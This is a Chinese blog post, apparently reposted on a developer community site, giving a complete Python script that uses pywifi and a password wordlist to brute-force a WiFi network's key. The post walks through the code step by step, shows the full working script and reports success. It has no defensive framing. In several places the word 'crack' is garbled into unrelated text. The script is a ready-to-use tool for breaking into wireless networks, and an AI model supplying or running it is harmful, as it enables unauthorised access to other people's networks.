前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python暴力激活成功教程wifi密码

Python暴力激活成功教程wifi密码

作者头像
全栈程序员站长
发布2022-09-23 10:25:39
6510
发布2022-09-23 10:25:39
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君

今天给大家分享一个使用Python激活成功教程WiFi密码的代码,这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

代码语言:javascript
复制
    wifi=pywifi.PyWiFi()
    #获取无线网卡
    ifaces=wifi.interfaces()[0]
    print(ifaces)

下面就是效果,但是它返回的是一个对象

Python暴力激活成功教程wifi密码
Python暴力激活成功教程wifi密码

使用这行代码就可以获取电脑无线网卡的名称:

代码语言:javascript
复制
 print(ifaces.name())

这个就是我的无线网卡

Python暴力激活成功教程wifi密码
Python暴力激活成功教程wifi密码

要判断是否连接WiFi,我们需要导入一个常量库:

代码语言:javascript
复制
from pywifi import const

看,这个库里面就显示了接口是否连接对于的常量

Python暴力激活成功教程wifi密码
Python暴力激活成功教程wifi密码

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

代码语言:javascript
复制
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="jiayi"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为was
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

代码语言:javascript
复制
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我上次分享的那个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。

代码语言:javascript
复制
    #密码本路径
    path="C:/Users/ASUS/Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()

好了,接下来就是完整的代码和效果图。

代码语言:javascript
复制
# coding:utf-8
import pywifi
from pywifi import const
import time

#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="jiayi"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 

#读取密码本
def readPassword():
    print("开始激活成功教程:")
    #密码本路径
    path="C:/Users/ASUS/Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密码已激活成功教程: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码激活成功教程中....密码校对: ",pad)
        except:
            continue
readPassword()

运行结果如下:

Python暴力激活成功教程wifi密码
Python暴力激活成功教程wifi密码

看,这个就成功了,这里的话还是不能用可视化界面,等以后有时间我尝试写一个可视化界面那种,然后就类似于手机上的wifi万能钥匙了。今天就分享到这里了,有什么不好的地方望各位大佬指正一下。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/172184.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档